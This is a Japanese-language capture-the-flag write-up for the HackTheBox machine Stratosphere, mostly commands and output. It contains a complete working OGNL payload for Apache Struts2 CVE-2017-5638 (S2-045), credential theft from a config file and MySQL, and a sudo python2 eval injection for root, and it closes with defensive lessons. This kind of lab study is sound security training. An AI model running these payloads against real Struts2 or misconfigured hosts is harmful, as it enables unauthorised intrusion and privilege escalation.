HackTheBox: Stratosphere — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/8080
→
22/80/8080
gobuster
/Monitoring (Struts2)
→
/Monitoring (Struts2)
CVE-2017-5638 (S2-045)
Content-Type OGNLインジェクション
→
Content-Type OGNLインジェクション
tomcat8 RCE
→
db_connect + MySQL
admin/admin → richardの平文パスワード
→
admin/admin → richardの平文パスワード
SSH richard
user.txt ✓
→
user.txt ✓
sudo /usr/bin/python* ワイルドカード
python2 input()=eval()
→
python2 input()=eval()
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p 21,22,23,25,53,80,...,8080,... -T4 --max-retries 3 10.129.62.230
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,80,8080 10.129.62.230
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0) | ssh-hostkey: | 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA) | 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA) |_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519) 80/tcp open http Apache Tomcat (language: en) |_http-title: Stratosphere 8080/tcp open http Apache Tomcat (language: en) |_http-title: Stratosphere |_http-open-proxy: Proxy might be redirecting requests Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
ポート80・8080の両方でApache Tomcatが応答。ポート8080はプロキシ的な挙動を示唆しており、
RCE成立後にlocalhostのTomcatコネクタへプロキシしていることが後の調査でわかる。
PHASE 2
Web調査 — /Monitoring (Struts2アプリ) の発見
トップページとGettingStarted.html
BASH
curl -s http://10.129.62.230/GettingStarted.html
RESULT
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<title>Stratosphere -- Getting Started</title>
</head>
<body>
<h1>Site under construction. Please check back later.</h1>
</body>
</html>
404ページからTomcatバージョンを特定
BASH
curl -s http://10.129.62.230/nonexistent-path-xyz | grep -oE "Apache Tomcat[^<]*"
RESULT
Apache Tomcat/8.5.54 (Debian)
gobusterでディレクトリ列挙
BASH
gobuster dir -u http://10.129.62.230 \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x txt,php,html -q -t 30
RESULT
/index.html (Status: 200)
/manager (Status: 302)
/GettingStarted.html (Status: 200)
/Monitoring (Status: 302) → /Monitoring/example/Welcome.action
🚨
/Monitoring はStruts2の典型的なパス構造 (*.action) を持つ
「Stratosphere Credit Monitoring」アプリへリダイレクトする。Equifax事件 (CVE-2017-5638) を
連想させる名前とテーマであり、Strutsの既知RCE脆弱性が本命の攻撃経路であることを強く示唆する。
Monitoringアプリの構造確認
BASH
curl -s http://10.129.62.230/Monitoring/example/Welcome.action
RESULT
<html>
<head>
<title>Welcome</title>
<link href="example.css;jsessionid=..." rel="stylesheet" type="text/css"/>
</head>
<body>
<div class="overlay">
<h1>Stratosphere Credit Monitoring</h1>
<div class="btn-wrap">
<a href="/Monitoring/example/Login_input.action;...">Sign On</a>
</div>
<div class="btn-wrap">
<a href="/Monitoring/example/Register.action;...">Register</a>
</div>
</div>
</body>
ℹ️
全てのリンクが
.action 拡張子。Apache Struts2フレームワークで構築された
アプリケーションであることが確定した。
PHASE 3
CVE-2017-5638 (Apache Struts2 S2-045) — Content-Type OGNLインジェクション RCE
脆弱性の原理
NOTE
Struts2のJakarta Multipartパーサーは、ファイルアップロード処理の際に
Content-Typeヘッダーの値をOGNL式として評価してしまう実装不備を持つ
(CVE-2017-5638 / S2-045)。攻撃者は "%{...}" で始まるOGNL式をそのまま
Content-Typeヘッダーに仕込むだけでサーバー側の任意コード実行に至る。
2017年のEquifax情報漏洩(約1.47億人分の個人情報流出)で悪用されたことで
広く知られる。本ボックスの「Credit Monitoring」というテーマ自体が
Equifax事件への露骨なオマージュになっている。
OGNLペイロードでコマンド実行
BASH
CT="%{(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}"
curl -s "http://10.129.62.230/Monitoring/example/Welcome.action" \
-H "Content-Type: $CT"
RESULT
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)
✅
RCE成功! Content-Typeヘッダー1本のリクエストで即座にコード実行が成立する。
認証は一切不要、Welcome.action (トップページ相当) だけで発火する。
⚠️
#cmd='...' 部分にOGNL文字列リテラルとしてコマンドを埋め込むため、
コマンド側でシングルクォートを使いたい場合はエスケープが必要。本チェーンでは
後続のMySQLコマンドで "..."(ダブルクォート)を使うことでこの制約を回避した。
PHASE 4
DB資格情報奪取 → MySQL → richardの平文パスワード → user.txt
db_connect ファイルの読み取り
BASH (RCE経由)
cat /var/lib/tomcat8/db_connect
RESULT
[ssn] user=ssn_admin pass=AWs64@on*& [users] user=admin pass=admin
ℹ️
tomcat8が読めるアプリ設定ファイルにMySQL資格情報が平文で置かれている。
[users] セクションの admin/admin がターゲット。
MySQLに問い合わせてrichardのパスワードを取得
BASH (RCE経由)
mysql -u admin -padmin -e "select * from users.accounts;" 2>&1
RESULT
fullName password username
Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard
🚨
決定的な発見:
users データベースの accounts テーブルに
richardユーザーの平文パスワードがそのまま保存されている。このパスワードはOSアカウントの
richardでも(パスワード再利用のため)そのまま通用する。
SSHでrichardとしてログイン & user.txt取得
BASH
sshpass -p '9tc*rhKuG5TyXvUJOrE^5CK7k' \ ssh -o StrictHostKeyChecking=no richard@10.129.62.230 \ "id; cat /home/richard/user.txt"
RESULT
uid=1000(richard) gid=1000(richard) groups=1000(richard),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner)
3d6523e4fb22b01b9db72d04d1f852d1
user.txt — richard
3d6523e4fb22b01b9db72d04d1f852d1
✅
MySQLの資格情報をRCE経由で盗み出しただけで、追加のエクスプロイトなしに
SSHで安定したシェルへ昇格できた。 tomcat8のfifoベース対話シェルを別途構築する
(0xdf公式ウォークスルーの手法) 必要はなく、都度のワンショットRCEコマンドで十分だった。
PHASE 5
権限昇格の下調べ — sudo -l と test.py
sudo -l でrichardの許可コマンドを確認
BASH
ssh richard@10.129.62.230 "sudo -l"
RESULT
Matching Defaults entries for richard on stratosphere:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User richard may run the following commands on stratosphere:
(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py
🚨
/usr/bin/python* はワイルドカードであり、
python・python2・python2.7・python3 など
/usr/bin/pythonで始まる実行ファイル全てにマッチする。パスワードなしでroot権限実行可能。
test.py の中身を確認
BASH
ssh richard@10.129.62.230 "cat /home/richard/test.py"
PYTHON (test.py 抜粋)
#!/usr/bin/python3
import hashlib
def question():
q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
md5 = hashlib.md5()
md5.update(q1.encode())
if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
print("Sorry, that's not right")
return
print("You got it!")
q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
...
import os
os.system('/root/success.py')
return
question()
ℹ️
4つのハッシュ(md5・sha1・md4・blake2b512)を順に解読させるクイズ形式のスクリプト。
全問正解すると
/root/success.py を実行する — が、これは「本筋の罠」ではない。
鍵は input() 関数そのものの言語仕様差にある。
python実行ファイルの構成を確認
BASH
ssh richard@10.129.62.230 "ls -l /usr/bin/python*"
RESULT
lrwxrwxrwx 1 root root 7 Mar 4 2019 /usr/bin/python -> python2
lrwxrwxrwx 1 root root 9 Mar 4 2019 /usr/bin/python2 -> python2.7
-rwxr-xr-x 1 root root 3672936 Sep 20 2023 /usr/bin/python2.7
lrwxrwxrwx 1 root root 9 Mar 26 2019 /usr/bin/python3 -> python3.7
-rwxr-xr-x 2 root root 4878368 Oct 11 2023 /usr/bin/python3.7
🚨
決定的なポイント:
Python2の
/usr/bin/python のデフォルトは
python2を指す。ところがtest.pyのshebangは
#!/usr/bin/python3。sudoersのワイルドカード
/usr/bin/python* は明示的に /usr/bin/python(=python2)を指定した
実行も許可してしまうため、shebangを無視してpython2インタプリタでtest.pyを
強制実行させられる。Python2の
input() は eval(raw_input()) と等価
(Python3では文字列をそのまま返すだけの安全な仕様に変更された)。つまりpython2で
test.pyを動かすと、最初の Solve: プロンプトへの入力が
evalで即座にPythonコードとして実行される。
PHASE 6
python2 eval() インジェクション → root.txt
sudo python (=python2) + eval注入でroot.txtをコピー
BASH
ssh richard@10.129.62.230 ' echo "__import__(\"os\").system(\"cp /root/root.txt /tmp/.rt_out; chmod 644 /tmp/.rt_out\")" \ | sudo python /home/richard/test.py '
RESULT
Solve: 5af003e100c80923ec04d65933d382cb
Traceback (most recent call last):
File "/home/richard/test.py", line 38, in <module>
question()
File "/home/richard/test.py", line 8, in question
md5.update(q1.encode())
AttributeError: 'int' object has no attribute 'encode'
✅
重要: トレースバック(エラー)が出ているのは正常。
eval()で
評価された __import__("os").system(...) の戻り値(int)が
q1 に代入され、後続の q1.encode() で型エラーになっているだけ。
os.system() 自体は既にroot権限で実行済みであり、
/root/root.txt は /tmp/.rt_out へコピー・chmod 644 されている。
コピーしたファイルを一般ユーザー権限で読み取り
BASH
ssh richard@10.129.62.230 "cat /tmp/.rt_out"
RESULT
82f44f972dc9f6ec1da5fca72e553b9a
root.txt — root@stratosphere
82f44f972dc9f6ec1da5fca72e553b9a
ℹ️
公式ウォークスルー(0xdf)では
nc -e /bin/bash による対話的root
リバースシェルを確立する手法を採っているが、本チェーンでは
「rootとして任意ファイルをコピー→一般ユーザーで読む」という
最短経路を選択し、追加のリスナー/シェル確立を経ずに直接フラグを回収した。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — richard
3d6523e4fb22b01b9db72d04d1f852d1
root.txt — root@stratosphere
82f44f972dc9f6ec1da5fca72e553b9a
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2017-5638 (S2-045) | Apache Struts2 (Monitoring app) | リモートコード実行 (tomcat8) | Critical (CVSS 10.0) | Content-TypeヘッダーへのOGNL式インジェクションで認証なしにコマンド実行、Equifax事件と同一の脆弱性 |
| 平文DB資格情報の再利用 | /var/lib/tomcat8/db_connect + MySQL | 横展開 (tomcat8 → richard) | High | 設定ファイルの admin/admin でMySQLに接続、accountsテーブルのrichardパスワードがOSアカウントでも再利用されていた |
| sudoワイルドカード + python2 eval() | /usr/bin/python* /home/richard/test.py (sudoers) | 権限昇格 (richard → root) | Critical | ワイルドカードがpython2にもマッチし、python2のinput()=eval(raw_input())仕様でos.system()を注入 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap (22/80/8080) | OpenSSH 7.9p1、Apache Tomcat 8.5.54 |
| 2 | Web調査 | gobuster + 手動閲覧 | /Monitoring (Struts2 “Credit Monitoring”アプリ)発見 |
| 3 | RCE | CVE-2017-5638 OGNLインジェクション | tomcat8としてのコード実行 |
| 4 | 資格情報奪取 | db_connect読取 + MySQLクエリ | user.txt取得 (richardのSSHログイン) |
| 5 | 権限調査 | sudo -l + test.py解析 + python構成確認 | sudoワイルドカードとpython2 eval()脆弱性を特定 |
| 6 | 権限昇格 | python2 eval()インジェクション | root.txt取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 2017年に公開された既知のCritical脆弱性(CVE-2017-5638)が未パッチのまま放置 | Struts2は本脆弱性以降も複数のRCEが報告され続けているフレームワークであり、 定期的な脆弱性スキャンとパッチ適用、可能であれば別フレームワークへの移行を検討する。 |
| アプリ設定ファイル(db_connect)にDB資格情報を平文保存、しかもデフォルト値(admin/admin) | 資格情報はVaultやシークレットマネージャで管理し、デフォルトパスワードは 初回セットアップ時に必ず変更を強制する。 |
| DBに保存されたユーザーパスワードがOSアカウントのログインパスワードとしても 再利用されている | アプリケーション認証とOS認証のパスワードは完全に分離する。パスワード再利用を 検知する仕組み(同一ハッシュの横断チェック等)を導入する。 |
sudoersにワイルドカード(/usr/bin/python*)を使用し、
意図しないインタプリタ(python2)での実行を許してしまっている |
sudoersではワイルドカードを避け、フルパスで単一のバイナリのみを明示的に許可する。
スクリプト内で信頼できない入力をinput()やeval系関数に渡さない
(Python3への統一、ast.literal_evalの使用等)。 |

